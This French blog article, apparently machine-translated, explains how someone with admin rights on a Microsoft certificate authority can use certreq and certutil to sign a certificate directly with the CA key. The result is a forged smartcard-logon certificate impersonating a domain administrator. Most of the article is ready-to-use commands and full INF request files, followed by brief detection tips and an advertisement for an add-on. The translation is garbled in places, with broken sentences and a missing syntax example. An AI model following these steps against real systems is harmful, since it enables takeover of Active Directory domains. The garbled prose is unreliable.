Signer des certificats en contournant l'autorité de certification - uniquement avec les moyens du bord

Dans l'article "Signer des certificats en contournant l'autorité de certificationJ'ai décrit dans l'article "Comment un attaquant en possession de droits administratifs sur l'autorité de certification peut générer un certificat d'inscription pour des comptes administratifs du domaine en contournant le logiciel de l'autorité de certification, c'est-à-dire en utilisant directement la clé privée de l'autorité de certification.

Dans l'article précédent, j'ai présenté le PSCertificateEnrollment Module Powershell pour illustrer la procédure. Microsoft fournit avec certreq et certutil Le système d'exploitation de l'entreprise est livré avec des outils de pentesting parfaitement adaptés.

Connaissez-vous TameMyCerts? TameMyCerts est un add-on pour l'autorité de certification Microsoft (Active Directory Certificate Services). Il étend la fonction de l'autorité de certification et permet de Application de la réglementationIl s'agit d'un logiciel de gestion des certificats qui permet d'automatiser l'émission de certificats en toute sécurité. TameMyCerts est unique dans l'écosystème Microsoft, a déjà fait ses preuves dans d'innombrables entreprises du monde entier et est disponible sous une licence libre. Il peut téléchargé via GitHub et être utilisé gratuitement. Une maintenance professionnelle est également proposée.

La procédure de base et la problématique sous-jacente sont décrites dans l'article "Vecteur d'attaque sur le service d'annuaire Active Directory via le mécanisme de connexion par carte à puce" décrit.

Le grand défi que nous avons dans cette opération est d'inclure dans la demande de certificat à signer une extension pour la Points de distribution de la liste de blocage car sinon, les contrôleurs de domaine ne pourront pas refuseront de traiter le certificat de connexion. Heureusement, cette extension est identique pour tous les certificats émis. L'information nécessaire peut donc être obtenue à partir d'un certificat existant (p. ex. d'un serveur web ou par le biais d'une connexion Internet). Exportation depuis la base de données des organismes de certification peuvent être obtenus).

Ainsi, la commande suivante est d'abord lancée contre un certificat quelconque de l'autorité de certification concernée, disponible sous forme de fichier :

certutil -v -dump Dateiname-Beispiel-Zertifikat.cer

Nous recherchons la section dans laquelle le codage hexadécimal de l'extension est affiché pour les points de distribution de la liste de révocation et nous la copions dans un fichier de configuration pour une nouvelle demande de certificat.

Les données y sont déposées avec la syntaxe suivante :

Un fichier de configuration complet pourrait donc se présenter comme suit :

[Version]
Signature = "$Windows NT$"
 
[Strings]
szOID_BASIC_CONSTRAINTS2 = "2.5.29.19"
szOID_ENHANCED_KEY_USAGE = "2.5.29.37"
szOID_PKIX_KP_CLIENT_AUTH = "1.3.6.1.5.5.7.3.2"
szOID_PKIX_KP_SMARTCARD_LOGON = "1.3.6.1.4.1.311.20.2.2"
szOID_SUBJECT_ALT_NAME2 = "2.5.29.17"
szOID_CRL_DIST_POINTS = "2.5.29.31"
               
[NewRequest]
RequestType = Cert
Subject = "CN=rudi"
KeyLength = 3072
Exportable = True
MachineKeySet = FALSE
KeyUsage = 0xA0
HashAlgorithm = sha256
ProviderName = "Microsoft Software Key Storage Provider"
ValidityPeriod = Years
ValidityPeriodUnits = 10
               
[Extensions]
%szOID_BASIC_CONSTRAINTS2% = "{text}CA=False"
%szOID_ENHANCED_KEY_USAGE% = "{text}"
  _continue_ = "%szOID_PKIX_KP_CLIENT_AUTH%,"
  _continue_ = "%szOID_PKIX_KP_SMARTCARD_LOGON%"
%szOID_SUBJECT_ALT_NAME2% ="{text}upn=administrator@intra.adcslabor.de"
%szOID_CRL_DIST_POINTS% = "{hex}"
  _continue_ = "30 4f 30 4d a0 4b a0 49  86 47 68 74 74 70 3a 2f"
  _continue_ = "2f 70 6b 69 2e 61 64 63  73 6c 61 62 6f 72 2e 64"
  _continue_ = "65 2f 43 65 72 74 44 61  74 61 2f 41 44 43 53 25"
  _continue_ = "32 30 4c 61 62 6f 72 25  32 30 49 73 73 75 69 6e"
  _continue_ = "67 25 32 30 43 41 25 32  30 31 28 31 29 2e 63 72"
  _continue_ = "6c"
Critical = %szOID_BASIC_CONSTRAINTS2%

Ensuite, nous exécutons la commande suivante avec des droits élevés ("Run as Administrator") sur le serveur d'autorité de certification concerné :

certreq -new -q -cert "{Name-der-Zertifizierungsstelle}" {Dateiname-Informations-datei}.inf {Dateiname-Zertifikat}.cer

Si la commande est exécutée sans droits élevés, elle générera le message d'erreur "Cannot find object or property. 0x80092004 (-2146885628 CRYPT_E_NOT_FOUND)" échoue.

Le certificat qui en résulte a été émis avec la clé privée de l'autorité de certification, conformément à nos indications.

L'extension pour les points de distribution de listes de blocage est également disponible sous la forme souhaitée.

Mise à jour "utile" depuis Windows 10 1709

Cela sera encore mieux avec Windows 10 1709 (Fall Creators Update) et donc au plus tard avec Windows Server 2019. Ici, certreq contient déjà une syntaxe prête à l'emploi pour indiquer le point de distribution de la liste de blocage sous forme de texte.

Un exemple de syntaxe peut être consulté avec la commande suivante :

certreq -new -v -?

L'adresse pour les points de distribution de la liste de blocage peut désormais être facilement inscrite directement sous forme de texte.

Un fichier de configuration complet pourrait donc se présenter comme suit :

[Version]
Signature = "$Windows NT$"
 
[Strings]
szOID_BASIC_CONSTRAINTS2 = "2.5.29.19"
szOID_ENHANCED_KEY_USAGE = "2.5.29.37"
szOID_PKIX_KP_CLIENT_AUTH = "1.3.6.1.5.5.7.3.2"
szOID_PKIX_KP_SMARTCARD_LOGON = "1.3.6.1.4.1.311.20.2.2"
szOID_SUBJECT_ALT_NAME2 = "2.5.29.17"
szOID_CRL_DIST_POINTS = "2.5.29.31"
               
[NewRequest]
RequestType = Cert
KeyLength = 3072
Subject = "CN=rudi"
Exportable = True
MachineKeySet = FALSE
KeyUsage = 0xA0
HashAlgorithm = sha256
ProviderName = "Microsoft Software Key Storage Provider"
ValidityPeriod = Years
ValidityPeriodUnits = 10
               
[Extensions]
%szOID_BASIC_CONSTRAINTS2% = "{text}CA=False"
%szOID_ENHANCED_KEY_USAGE% = "{text}"
  _continue_ = "%szOID_PKIX_KP_CLIENT_AUTH%,"
  _continue_ = "%szOID_PKIX_KP_SMARTCARD_LOGON%"
%szOID_SUBJECT_ALT_NAME2% ="{text}upn=administrator@intra.adcslabor.de"
%szOID_CRL_DIST_POINTS% = "{text}"
  _continue_ = "DistPointName=true&"
  _continue_ = "URL=http://pki.adcslabor.de/CertData/ADCS Labor Issuing CA 1(1).crl"
Critical = %szOID_BASIC_CONSTRAINTS2%

Le certificat peut maintenant être généré de la manière connue :

certreq -new -q -cert "{Name-der-Zertifizierungsstelle}" {Dateiname-Informations-datei}.inf {Dateiname-Zertifikat}.cer

Reconnaître

Un point de départ pour détecter une telle opération serait d'utiliser Sysmon de consigner les commandes de ligne de commande saisies et de reconnaître la commande certreq.

Si l'autorité de certification n'utilise pas de Module de sécurité matériel (HSM) et si la journalisation des audits est correctement configurée, une alarme peut également être déclenchée ici sur les événements avec ID 5058 et ID 5059 de la source Microsoft-Windows-Security-Auditing s'ils sont déclenchés par un compte qui n'est pas SYSTEM (le service d'autorité de certification).

Liens complémentaires :

Sources externes

  • certreq (Microsoft Corporation)
  • certutil (Microsoft Corporation)
  • Sysmon - Windows Sysinternals (Microsoft Corporation)
  • certreq.exe (Living Off The Land Binaries, Scripts and Libraries)
  • certutil.exe (Living Off The Land Binaries, Scripts and Libraries)

Les commentaires sont fermés.

fr_FRFrançais